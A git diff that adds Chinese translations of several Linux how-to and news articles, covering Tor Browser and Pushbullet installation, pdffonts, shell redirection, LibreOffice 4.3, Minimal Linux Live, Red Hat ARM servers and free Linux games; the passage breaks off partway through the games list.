http://www.datamation.com/open-source/best-linux-browsers-1.html + +原文作者:[Matt Hartley][a] + +译者:[Love-xuan](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.datamation.com/author/Matt-Hartley-3080.html +[1]:https://www.mozilla.org/en-US/firefox/new/ +[2]:https://www.google.com/intl/en_us/chrome/browser/ +[3]:http://www.chromium.org/ +[4]:http://www.qupzilla.com/ +[5]:https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/ +[6]:https://adblockplus.org/ +[7]:http://midori-browser.org/ +[8]:http://www.opera.com/ +[9]:https://wiki.gnome.org/Apps/Web +[10]:http://www.konqueror.org/ diff --git a/published/201408/20140729 How To Easily Install Tor Browser In Ubuntu 14.04 And Linux Mint 17.md b/published/201408/20140729 How To Easily Install Tor Browser In Ubuntu 14.04 And Linux Mint 17.md new file mode 100644 index 0000000000..6fbdc08a18 --- /dev/null +++ b/published/201408/20140729 How To Easily Install Tor Browser In Ubuntu 14.04 And Linux Mint 17.md @@ -0,0 +1,44 @@ +简捷安装Tor浏览器到Ubuntu 14.04和Linux Mint 17中 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Tor_Browser_Ubuntu.jpeg) + +牢记[美国国家安全局对全世界政府和国民的窥视][1]的尴尬结局吧,隐私日益成为许多人关心的焦点。如果你也关注在线安全性并想要保护自己不受网络监视,[Tor项目][2]是当前可用的最佳选择。 + +Tor项目有它自己的[Tor浏览器][3],该浏览器基于Firefox并开启了用户隐私保护配置,并通过捆绑Tor和[Vidalia][4]工具进行匿名访问。。虽然你可以[下载Tor浏览器并使用源码安装][5],但是我们将介绍一种更为便捷的方式,来将它安装到Ubuntu 14.04和Linux Mint 17中。 + +### 如何在Ubuntu 14.04和Linux Mint 17中安装Tor浏览器 ### + +多亏了[Webupd8][6],我们可以方便地通过PPA将Tor浏览器到Ubuntu和其它基于Ubuntu的OS中(如果你对源代码安装很感冒)。打开终端(Ctrl+Alt+T)并使用以下命令进行安装: + + sudo add-apt-repository ppa:webupd8team/tor-browser + sudo apt-get update + sudo apt-get install tor-browser + +以上PPA在Ubuntu 12.04和其它基于该版本的Linux发行版中可合法使用。 + +#### 卸载Tor浏览器 #### + +如果你想要卸载Tor浏览器,使用下面的命令即可: + + sudo apt-get remove tor-browser + rm -r ~/.tor-browser-en + +我希望这个快速测试对你**在Ubuntu 14.04和Linux Mint 17中便捷安装Tor浏览器**有所帮助。如有任何问题或者建议欢迎随时提出。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-tar-browser-ubuntu-linux-mint-17/ + +作者:[Abhishek][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://projects.propublica.org/nsa-grid/ +[2]:https://www.torproject.org/ +[3]:https://www.torproject.org/projects/torbrowser.html.en +[4]:https://www.torproject.org/projects/vidalia.html.en +[5]:https://www.torproject.org/projects/torbrowser.html.en#linux +[6]:http://www.webupd8.org/ diff --git a/published/201408/20140729 Linux FAQs with Answers--How to check which fonts are used in a PDF document.md b/published/201408/20140729 Linux FAQs with Answers--How to check which fonts are used in a PDF document.md new file mode 100644 index 0000000000..73cb09ca67 --- /dev/null +++ b/published/201408/20140729 Linux FAQs with Answers--How to check which fonts are used in a PDF document.md @@ -0,0 +1,39 @@ +Linux有问必答:如何检查PDF中使用了哪种字体 +================================================================================ + +>**问题**:我想要知道PDF文件中使用了什么字体,或者嵌入了什么字体。Linux中有工具可以检查PDF文档中使用了哪种字体吗? + +要检查PDF文件中包含了,或者使用了什么字体,你可以使用命令行工具:pdffonts,它是一个PDF字体分析工具。pdffonts是Poppler PDF工具集包中的一个部分。 + +### 安装PDF工具集到Linux ### + +要安装Poppler到Debian,Ubuntu或Linux Mint: + + $ sudo apt-get install poppler-utils + +要安装PDF工具集到Fedora,CentOS或RHEL: + + $ sudo yum install poppler-utils + +### 检查PDF字体 ### + +**pdffonts**可以列出PDF文档中使用的所有字体。pdffonts的基本用法如下。 + + $ pdffonts doc.pdf + +![](https://farm6.staticflickr.com/5592/14527744387_f8bb671955_z.jpg) + +**pdffonts**工具显示了各个已使用的字体的各种信息,如字体名称/类型,或者字体是否内嵌等等。 + +如果一个PDF文档有多页,你可以使用“-f”(首页)和“-l”(末页)选项来限制字体扫描页面范围。例如,如果你想要找出某个文档中的5-10页中使用了哪种字体,运行该命令: + + $ pdffonts -f 5 -l 10 doc.pdf + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-which-fonts-are-used-pdf-document.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140729 Use Pushbullet Indicator In Ubuntu To Send Files To Android Or iOS Devices.md b/published/201408/20140729 Use Pushbullet Indicator In Ubuntu To Send Files To Android Or iOS Devices.md new file mode 100644 index 0000000000..f04a97c4dd --- /dev/null +++ b/published/201408/20140729 Use Pushbullet Indicator In Ubuntu To Send Files To Android Or iOS Devices.md @@ -0,0 +1,80 @@ +在 ubuntu 下使用 Pushbullet Indicator 向 Android/iOS 设备推送文件 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Pushbullet_Logog.jpg) + +[Pushbullet][1]是一款iOS和Android设备与桌面系统互相传输文件、链接、图片的APP应用,Pushbullet可以在任何装有Firefox或Chrome +浏览器的操作系统上安装使用。 + +如果你不是浏览器扩展插件的粉丝,却依然想使用桌面应用**Pushbullet in Ubuntu 14.04**的话,你可以使用由 [Atareao][2]开发 +的**Pushbullet Indicator**。 Pushbullet Indicator 小应用正在开发阶段,并不具备官方windows桌面版应用的所有功能, +但是已经足够大家入门使用了。 + +### 在Ubuntu 14.04 和 Linux Mint 17 下安装Pushbullet Indicator小应用 ### + +打开一个终端,并且使用以下命令 + + sudo add-apt-repository ppa:atareao/atareao + sudo apt-get update + sudo apt-get install pushbullet-indicator + +以上个人软件包不支持运行在Ubuntu 13.10.版本 + +### 在Ubuntu 14.04 和 Linux Mint 17 下使用Pushbullet Indicator小应用 ### + + +- 创建一个[Pushbullet][3]账号 + +- 在Android/iOS设备上安装Pushbullet + +- 在Ubuntu 或者Linux Mint系统安装Pushbullet Indicator小应用以后,运行。第一次启动时,会提供一些Pushbullet账号连接的选项。如图: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Pushbullet_Indicator_start.png) + +- 当连接完成时,你也应该从下图设备标签中命名你的设备。如果你想Pushbullet在每次开机时自动启动,你可以在从preference设备中 +- 点击打开Autostart按钮自动启动(如上图所示) + +- 当你做完这一步,你会看见 Pushbullet indicator 小应用出现在Unity panel。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Use_Pushbullet_indicator_Ubuntu.jpeg) + +- 点击indicator,选择想要向其发送数据的智能手机(已经连接到你的Pushbullet的设备) + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Pushbullet_Indicator_In_Ubuntu.png) + + +- 你将会在其他设备上接收到一个接收文件的通知。然后,你可以通过Pushbullet app应用获取所有的通知消息。 + +- 安卓设备也可以接到来电、短信和其他类型的通知。 + +- 如果你从你的移动设备向桌面发送一个文件的话,你将会接到以下通知。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/07/Pushbulet_Indicator_Notification.jpeg) + +- 这些文件不会自动的保存在某个目录下。获取其他设备发送来的文件,可以去indicator目录查看最后推送(Show last push),显示你最后推送的。点击下载文件到你选择的目录中。 + +### 为Pushbullet安装Nautilus扩展 ### + +另一个可选的建议,你可以为Pushbullet安装Nautilus扩展,使它可以通过右键目录直接发送文件。使用以下命令安装。 + + sudo apt-get install nautilus-pushbullet + +但是,在重启后你必须重新授权。 + +请在评论区分享你使用Pushbullet Indicator小应用的经验,朋友们,再见. + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-includes/images/smilies/icon_smile.gif) + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/pushbullet-indicator-ubuntu/ + +作者:[Abhishek][a] +译者:[lfzark](https://github.com/lfzark) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:https://www.pushbullet.com/ +[2]:http://www.atareao.es/ +[3]:https://www.pushbullet.com/ diff --git a/published/201408/20140731 Command Line Somedays--Part Six.md b/published/201408/20140731 Command Line Somedays--Part Six.md new file mode 100644 index 0000000000..72260d7161 --- /dev/null +++ b/published/201408/20140731 Command Line Somedays--Part Six.md @@ -0,0 +1,59 @@ +命令行星期二——第六部分 +================================================================================ + +不管怎样,让我们继续我们今天的日程吧:输入/输出重定向。 + +我们已经用过的大多数命令,都把他们的结果张贴到了终端显示中。然而,我们也可以让这些命令的显示放进一个文件、设备中,或者作为其它命令的输入,一切都在**重定向**。 + +### 标准输出 ### + +那么,命令行程序主要是怎么工作的呢?它们会将命令的结果丢给一个叫做标准输出的设备,然后,标准输出会将这些结果发送到你的显示设备上,这样你就可以畅快地阅读这些信息了。然而,你也可以让命令的结果显示到一个文本文件中,像这样,用“>”字符(我的例子): + + man zypper > man.txt + +这儿我所干的是, 我想要获得zypper的一个帮助页。但是,我想要把它放到一个文本文件中去,因而我可以在我需要他们的时候(例如,在论坛、IRC寻求帮助时)很方便地读取这些结果。所以,这个命令做的是,保存man zypper输出结果到我的家目录中的man.txt,这样你可以看到,我可以用gedit来打开它: + +![](https://news.opensuse.org/wp-content/uploads/2014/07/Zaslonska-slika-2014-07-30-103144.png) + +如果我重复了该命令,或者使用不同的命令重定向到了同名文件,那么它就会被一次又一次地覆盖。所以,在那种情况下,如果我想要把输出结果重定向并附加到现存文件中,我唯一能做的事情就是下一次使用“>>”来替换“>”。 + +### 标准输入 ### + +许多命令也可以接受来自称之为标准输入的设备的输入。默认情况下,输入来自键盘,然而也可以来自一个文件。要重定向它,使用跟前面相反的字符:‘**<**’。 + +请看下面的例子: + + sort < man.txt + +### 管道 ### + +要想把多个命令连接到一起,你可以使用管道。管道所要做的是,将一个命令的标准输出注入到另一个命令的标准输入。肖茨先生的最爱: + + ls – l | less + +通过使用‘| less’这个小把戏,你可以让任何命令滚动输出。 +过滤器 + +### 过滤器 ### + +过滤器是管道中常用的程序。过滤器获取标准输入,对它进行操作,然后把结果发送到标准输出。它们可以以一种相当强大的方式处理信息。这儿提供了一个程序列表,大多数都是用作过滤器的。它们可以用于执行、查询,或者将帮助页重定向到它们,然后再重定向到一个文件! + +过滤器:sort, uniq, grep (我们发现这一个东西遍布论坛,因此我建议大家深入研究一下), fmt, pr, head, tail, tr, sed, awk。 + +### 结束 ### + +我们只剩下几个课程来阐述CLI的基本用法了,到成熟期的时候,我希望大家都会对CLI兴趣会增多一点了,也希望大家在萧条期也进行一些探索!而在你们动手干的时候,我希望你们…… +**玩得不亦乐乎!** + +-------------------------------------------------------------------------------- + +via: https://news.opensuse.org/2014/07/30/command-line-somedays-part-six/ + +作者:[Nenad Latinović][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://news.opensuse.org/author/holden87/ +[1]:https://news.opensuse.org/2014/07/29/factory-rolling-release/ diff --git a/published/201408/20140731 LibreOffice 4.3 Goes Live, Includes Fix for 11 Year Old Bug.md b/published/201408/20140731 LibreOffice 4.3 Goes Live, Includes Fix for 11 Year Old Bug.md new file mode 100644 index 0000000000..a82b3e8dcb --- /dev/null +++ b/published/201408/20140731 LibreOffice 4.3 Goes Live, Includes Fix for 11 Year Old Bug.md @@ -0,0 +1,67 @@ +LibreOffice 4.3发布,修复了一个11年之久的Bug +=============================================================================== + +> 如果你长时间地在开源办公套件中写'巨兽段落',此次的发行版本正是你需要的。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/01/keep-tile-2.jpg) + +** 新的一个月,新发行版本的LibreOffice开源办公套件将默认的安装在Ubuntu中 ** + +LibreOffice 4.3是2010年从OpenOffice分离以来的第八个主要发行版本软件,也是4.x发行版本系列的第三个次要版本。 + +### 有那些新功能? ### + +每一个主要的办公套件发行版本都有着巨大的变化,包括修复和更新,如果你有很多的空余时间,你可以在文档基金会查看最新更新的所有变更日志 +[wiki : wiki.documentfoundation.org/ReleaseNotes/4.3][1]。 + +为了节省您的时间,关于这次更新,我们已经将更多面向用户和头条的新特性整理成了一个简短的摘要。 + +### 文档的互操作性 ### + +作为许多办公套件之一的LibreOffice,在处理、打开、保存其他办公文件格式的功能方面有着很大的改进。 + +在LibreOffice 4.3中,这将导致一系列的OOXML改进,包括DrawingML特性、主题字体、文件嵌套。字体、段落、表格单元格的主题颜色现在会被保存,同样的,4.3也支持给图片和形状增加样式、填补和其他一些操作。 + +Microsoft Office**用户会发现LibreOffice支持30个额外的Excel公式**,Mac用户会很高兴地发现老的ClarisWorks, MacWorks 和 SuperPaint文件现在可以在LibreOffice中打开。 + +在文档中的嵌套注释得益于格式化的整理,而且现在可以同时导入导出为.doc、.rft和.docs文件(等等)。 + +### 其他值得注意的变化 ### + +- 支持3D动画模型 +- 支持Collada和.kmz文件 +- 在Windows和Linux中支持初始化HiDPI +- 启动中心现已预览所有文件,而不只是.odf +- .docx导入时的进度条 +- PDF导入时的调整,包括旋转的的文本支持 + +最后,一个11年的bug:阻止超过65,000字符的‘巨兽’段落的输入,最后被修复了。TDF说这个归结于“*LibreOffice +*的一个专有功能---OOo源码的现代化”。 + +### 下载LibreOffice 4.3 ### + +LibreOffice 4.3可以从官方网站上下载 [libreoffice.org/download][2], 或者直接通过下面的链接: + + - [Linux x64 (.deb)][3] // [Torrent][4] + - [Linux x86 (.deb)][5] // [Torrent][6] + +如果你不喜欢升级,你可以找到包含在Ubuntu 14.10中的发行版本,这将于今年晚些时候发布。 + + -------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/07/libreoffice-4-3-released-includes-fix-11-year-old-bug + +作者:[Joey-Elijah Sneddon][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://wiki.documentfoundation.org/ReleaseNotes/4.3 +[2]:http://www.libreoffice.org/download/ +[3]:http://www.libreoffice.org/download/libreoffice-fresh/?type=deb-x86_64&version=4.3.0&lang=en-US +[4]:http://download.documentfoundation.org/libreoffice/stable/4.3.0/deb/x86_64/LibreOffice_4.3.0_Linux_x86-64_deb.tar.gz.torrent +[5]:http://www.libreoffice.org/download/libreoffice-fresh/?type=deb-x86&version=4.3.0&lang=en-US +[6]:http://download.documentfoundation.org/libreoffice/stable/4.3.0/deb/x86/LibreOffice_4.3.0_Linux_x86_deb.tar.gz.torrent + diff --git a/published/201408/20140731 Minimal Linux Live.md b/published/201408/20140731 Minimal Linux Live.md new file mode 100644 index 0000000000..f8a8529887 --- /dev/null +++ b/published/201408/20140731 Minimal Linux Live.md @@ -0,0 +1,60 @@ +最精简Linux Live CD版本:Minimal Linux Live +================================================================================ + +最精简Linux Live是一系列基于[linux内核][1] 和 [BusyBox][2]的自动生成最精简 Live Linux 系统linux shell脚本。所有所需的源码已经自动地被下载,而且所有的生成操作已经完全被封装在脚本中了。 + +如果你想定制属于自己的最精简Linux Live 的ISO镜像文件,以下是你需要做的: + +- 从[下载][3]区域获得最新的脚本。 + +- 把脚本解压到文件夹下。 + +- 确保所有的脚本都可执行(可以使用命令chmod +x *.sh 添加可执行属性) + +- 在开始生成过程之前,取决于你使用什么Linux系统,可能会有一个或者多个依赖库(也可能不需要,或者更多)需要处理.如果使用Ubuntu的话,以下命令应该足以生成所有需要的依赖库: + +---------- + + sudo apt-get install wget + sudo apt-get install make + sudo apt-get install gcc + sudo apt-get install bc + sudo apt-get install syslinux + sudo apt-get install genisoimage + +- 执行脚本 **build_minimal_linux_live.sh** 然后等待完成。如果你已经处理好所有的生成依赖库,那么在一台现代计算机上全部的过程耗费时间应该不超过30分钟。如果由于某些原因生成失败,最可能的应该是没有处理好生成依赖库。一些用户反应到生成所必需的包将会处理所有ubuntu上未知的生成依赖问题。如果使用Linux Mint 而且正在尝试安装 g++ 包,如果你依然遇到很多问题,那么你可以尝试安装必需包。在Fedora系统上你可能需要安装 glibc-static包。 + + 请记得所有的生成依赖库由于你使用的Linux操作系统和已经安装的软件不同将会发生很大的变化。 + + 如果依然有问题,请检查失败信息然后在google上搜索一下。如果你找不到解决方案,你可以询问一些更有经验的linux专家(如果你认识的话),或者另外一个选择是联系我们。请确保在发送给我们之前,你已经提前研究过这个问题。 + +- 当脚本完成它们的工作,你将会在执行脚本的同目录下发现一个新创建的**minimal_linux_live.iso** 文件。你可以烧录iso镜像到CD/DVD,通过[Universal USB Installer][4]工具安装到USB闪存设备,或者直接在PC的虚拟机上运行,例如[VirtualBox][5]。 + +生成的ISO镜像文件包括使用默认选项编译的linux内核,使用默认选项编译的BusyBox和非常轻量级的initramfs。这意味着你不需要 另辟蹊径去获得windows支持,也不需要使用任何花哨的桌面环境。你所需要的只是一个支持BusyBox applets 的shell控制台,和……好吧。这些就够了。这就是为什么称它为 "最精简"。 + +最好的消息是不仅操作系统很小很简单,而且生成脚本也同样的小巧玲珑。你可以很轻松地从脚本学习,并且修改他们去包含更多内容(我是很鼓励你这样做).在你学习完这些基础以后你将会拥有所有所必须的工具和技能去创造你自己功能完善的linux操作系统!完全从零开始!是不是帅呆了!?:) + +这篇教程提供了更详细的脚本内部结构以及全部的生成过程,我鼓励你们如果有时间的话就去通读这个文档。 + +下面你会看到一些屏幕截图,它们展示了当你启动你的新一代 Minimal Linux Live 操作系统时的环境情况。 + +![](http://minimal.linux-bg.org/images/screen1.png) + +![](http://minimal.linux-bg.org/images/screen2.png) + +![](http://minimal.linux-bg.org/images/screen3.png) + +-------------------------------------------------------------------------------- + +via: http://minimal.linux-bg.org/ + +译者:[lfzark](https://github.com/lfzark) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://kernel.org/ +[2]:http://busybox.net/ +[3]:http://minimal.linux-bg.org/# +[4]:http://www.pendrivelinux.com/ +[5]:http://virtualbox.org/ diff --git a/published/201408/20140731 Red Hat aims to standardize Linux for 64-bit ARM servers.md b/published/201408/20140731 Red Hat aims to standardize Linux for 64-bit ARM servers.md new file mode 100644 index 0000000000..8c070ac31b --- /dev/null +++ b/published/201408/20140731 Red Hat aims to standardize Linux for 64-bit ARM servers.md @@ -0,0 +1,52 @@ +红帽旨在标准化Linux的64位ARM服务器 +================================================================================ +> 红帽希望通过 Linux for ARM 服务器来避免困扰在Unix身上的几十年的分裂的发生 。 + +IDG通讯社 - 红帽公司已经开发出一个服务器版本的Linux操作系统,可以用来测试基于ARMv8-A 64-bit架构的芯片及其周边硬件,志在统一服务器市场。 + +该发行版基于该公司的红帽企业Linux(RHEL),是红帽在周三为潜在的[ARM硬件厂商][2]推出的的[合作伙伴计划][1]的一部分。 + +“我们并不称其为RHEL,但它作为一种功能性,不提供技术支持,可以用在合作伙伴的开发中使用的操作系统”,红帽平台产品营销高级主管Mark Coggin说。 + +红帽的设计方案符合硬件厂商的ARMv8-A规格实施标准。 ARM本身并不生产自己的处理器,而是将其设计产权授权于芯片制造商。 + +标准的解决方案将意味着用户可以从任何制造商购买ARMv8-A的服务器,他们知道自己的ARM 64位操作系统和软件将能完美地工作在不管是谁生产的芯片上,Coggin说。红帽希望Linux的ARM能避免像AT&T的Unix操作系统,分裂成许多不同不兼容的版本的命运。 + +“我们看到了早期进入市场的重要性,并且确信我们不会陷入到这样的碎片化:如果你想运行一个AMD的ARM解决方案;你需要一个相应的Linux版本,如果你想运行博通的ARM解决方案,你就需要另外一个版本”Coggin说。 + +今年早些时候开始,一些ARM的服务器的标准化工作已经制定完成,这是由一个被称为服务器系统基础架构(SBSA)规范的行业协会以及Linaro企业集团完成的。 Red Hat尚未命名的ARM Linux发行版使用着来自这两个组织的规范。 + +红帽不仅希望能影响到芯片生产商同时也包括硬件供应商、OEM 和 ODM。 + +迄今为止,像Advanced Micro Devices公司,American Megatrends,AppliedMicro,博通,Cavium公司,戴尔和惠普这样的制造商都承诺将支持Red Hat的标准化工作。 + +“如果ARM在服务器领域终将成为一个有力的的竞争者的话,[硬件提供商]将达成一种共识,即这种架构的服务器也是可行的。当前,客户及其需求都处于x86世界, “Yan Fisher,红帽技术产品营销经理说。 + +通过这种方式,红帽将了解到更多有关制造商对企业版 64位 ARM Linux 发行版的需求,Coggin说。可能有一天基础操作系统会成为RHEL的ARM版本。 + +“我们正在试图从技术层面了解其平台的需求,”Coggin说。 “我们不知道它是否或何时会成为一个产品,但是我们有自我定位的方式,在某些时候,我们相信可以我们进入市场。” + +尽管Red Hat的Fedora项目过去和现在一直在提供ARM架构的发行版,但是基于Fedora的工作,可以支持更多的 ARM 服务器使用。 + +尽管ARM处理器在大多数移动设备使用广泛,但是直到最近才出现了在同行业中使用它们作为数据中心的迹象,它们的低功耗设计可以大大降低能源消耗。 + +目前只有极少数的ARMv8-A处理器和相关的硬件是可用的,大部分是一些早期的开发者预览版的或预装的专有系统。 + +AMD皓龙A1100系列ARM处理器,专为服务器设计,周三将会释放给开发者。 AMD还提供了专为SOC(注:system-on-a-chip 片上系统)架构设计的Cortex-A57 ARMv8。 + +AppliedMicro提供已经产品级的ARM服务器,在X-Gene的品牌之下,惠普正在准备推出其准备试水的ARM服务器产品线。主板制造商美国Megatrends提供了一个BIOS芯片用来启动ARM处理器。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9250061/Red_Hat_aims_to_standardize_Linux_for_64_bit_ARM_servers?taxonomyId=122 + +作者:Joab Jackson +译者:[owen-carter](https://github.com/owen-carter) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://connect.redhat.com/early-access-programs/red-hat-and-64-bit-arm-ecosystem +[2]:https://engage.redhat.com/arm-s-201407291033 +[3]:http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.den0029/index.html +[4]:http://www.networkworld.com/article/2171235/servers/arm-servers-with-64-bit-calxeda-chips-to-ship-next-year.html \ No newline at end of file diff --git a/published/201408/20140731 Top 10 Free Linux Games.md b/published/201408/20140731 Top 10 Free Linux Games.md new file mode 100644 index 0000000000..deb7651576 --- /dev/null +++ b/published/201408/20140731 Top 10 Free Linux Games.md @@ -0,0 +1,487 @@ +10大 Linux 免费游戏 +================================================================================ +假如当你考虑从 Windows 平台迁移至 Linux 平台时,“我能在 Linux 平台上游戏吗?”这类疑问正困扰着你,那么对此这有一个答案就是 ———— “快去 Linux 平台吧!”。感谢开源组织一直以来坚持不懈为 Linux 操作系统开发不同类型的游戏,还有从不缺乏好的商业游戏,并且在 Linux 平台下游戏时的乐趣完全不亚于其他几个平台(比如 Windows 平台)的在线数字发行平台 ———— Steam。 + +接下来我们基于流行程度、“免费游戏”的名号以及安装难易度向你展现今年 10 款最佳 Linux 平台下的免费游戏。 + +** 注意 ** – 如果你对第一人称射击类(First Person Shooter,FPS)游戏感兴趣的话,请阅读我们的另一篇文章[10 款 Linux 下流行的第一人称射击类游戏][1]。 + +### 1.《军团要塞 2》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/Team-fortress-2.jpg) + +《军团要塞 2》是一款由 Valve 公司开发的基于团队的在线 FPS 类电子游戏,是 1996 年最初 Quake 修改版的续作。这款游戏最早于 2007 年 10 月 10 日发布了 Windows 版与 Xbox 360 版,随后在 2013 年 2 月 14 日作为独立游戏发行了 Linux 版。游戏在 1998 年就发布了预告,最早由 Valve 的 GoldSrc 引擎驱动,但是发行过程却在其长达九年的开发周期中被游戏的设计更新严重推迟。游戏在 2011 年 6 月 23 日成为一款免费游戏。 + +《军团要塞 2》已经收到了许多称赞性评论与大奖,这主要跟它充满艺术的表现手法、游戏的平衡性、幽默感,以及图像风格有关。与其他游戏,如使命召唤、半条命,采取极度真实的画面不同,这款游戏的设定看起来像是把卡通元素带进了世界中。 + +** 游戏介绍 **:和原版游戏一样,《军团要塞 2》围绕两支相互对立的队伍进行;红队(可信赖的拆迁队)与蓝队(建筑者联合团体),两队都为了以战斗为基础的主要目标相互竞争。 + +玩家可以选择九种角色,分别是侦察兵、士兵、火焰兵、爆破兵、重装兵、工程师、医疗兵、狙击手和间谍,每一个角色都有其独特的武器、优势与弱点。 + +#### 系统需求: #### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 推荐配置最低配置
CPU奔腾4处理器或者 Athlon XP 或者更佳奔腾4处理器或者 Athlon XP 或者更佳
CPU 速率3.0 GHz 处理器1.7 GHz
内存(RAM)1 GB512 MB
显卡支持 DirectX 9 的显卡(NVIDIA GeForce 7900+ / ATI Radeon X1900+)支持 DirectX 8.1 的显卡(NVIDIA GeForce4+ / ATI Radeon 8500+)
声卡必需必需
剩余硬盘空间5 GB5 GB
+ +### 2.《Dota 2》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/Dota-2.jpg) + +《Dota 2》,是《Dota》的续作,是一款由 Valve 公司开发的多人在线战术竞技类(Multiplayer Online Battle Arena,MOBA)电子游戏。《DOTA 2》发行时就完全免费,于 2013 年 7 月 9 日发行 Windows 版,于 2013 年 7 月 18 日发行 Linux 版,并且只能通过 Valve 的在线数字发行平台 Steam 进行游戏。Dota 2 因为其令人愉悦的游戏体验和大幅提高的游戏品质得到了电子游戏评论家的热烈称赞。尽管 Dota 2 也因为其陡峭的学习曲线受到批评。 + +** 游戏介绍 **:每一场标准的 Dota 2 比赛都是独立的,同时由 2 支相互敌对的团体参与,天辉和夜魇,每个团队均由 5 名玩家组成。每个团队占据地图的一角作为大本营,每个团队的大本营上均有一座被称作“远古神迹”的建筑存在。为了赢得游戏,任意一方团队必须摧毁对方的远古神迹。Dota 2 中有 9 种游戏模式与 107 个英雄可供挑选。每名玩家控制一位英雄,通过升级、获取物品、收集金币还有击败敌对团队以获取胜利。 + +#### 系统需求: #### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 推荐配置最低配置
CPUIntel 酷睿 2 双核处理器,2.4GHz奔腾 4 处理器,3.0GHz
CPU 速率2.4 GHz 处理器3.0 GHz
内存(RAM)1 GB1 GB
显卡支持 DirectX 9 的显卡,带有 3.0. 优化渲染引擎模式(NVidia 7600, ATI X1600)或更优显卡支持 DirectX 9 的显卡,带有 128 MB 的 2.0. 优化渲染引擎模式(ATI X800, NVidia 6600)或更优显卡
声卡必需必需
剩余硬盘空间2.5 GB2.5 GB
+ +### 3.《Urban Terror》 ### + +![](http://mylinuxbook.com/wp-content/uploads/2014/07/UrbanTerror.jpg) + +《Urban Terror》,缩写作 UrT,是一款由 FrozenSand 开发的免费多人 FPS 电子游戏。游戏于 2007 年作为免费独立游戏发行,使用 ioquake3(某游戏引擎项目,作为一个纯净基础包向更多的图像和音频特性提供改进支持)作为引擎。 + +正如这款官方游戏格言‘现实的乐趣’所述,它是一个封包很好的产品,同时安装简便、画质优良、依赖需求少,并且游戏非常平衡,这些特色使这款游戏成为了独一无二的、令人享受并且吸引人的游戏。2007 年的 Mod DB 上,Urban Terror 被提名为年度 Mod 奖。 + +** 游戏介绍 **:这款游戏被标为“好莱坞战术射击游戏”,具有多种游戏的混合元素,例如:《雷神之锤 III 竞技场》、《虚幻竞技场》以及《反恐精英》。这款 Mod 通过一系列改变使得游戏更加真实,比如武器和现实中的类似,具有后坐力,射击时精准度会下降,并且当弹药库用完时需要重新填装。伤害同样现实化了,比如伤口需要包扎,腿伤或脚伤会拖慢玩家的速度。 + +#### 系统需求: #### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 推荐配置最低配置
CPU奔腾4处理器  1.2 GHz 或者更高奔腾4处理器  1.2 GHz
CPU 速率1.2 GHz1.2 GHz
内存(RAM)512 MB256 MB
显卡 NVidia 或者 ATI 卡,256MB 显存或更高 NVidia 或者 ATI 卡,128MB 显存
硬盘50 GB 或更多50 GB
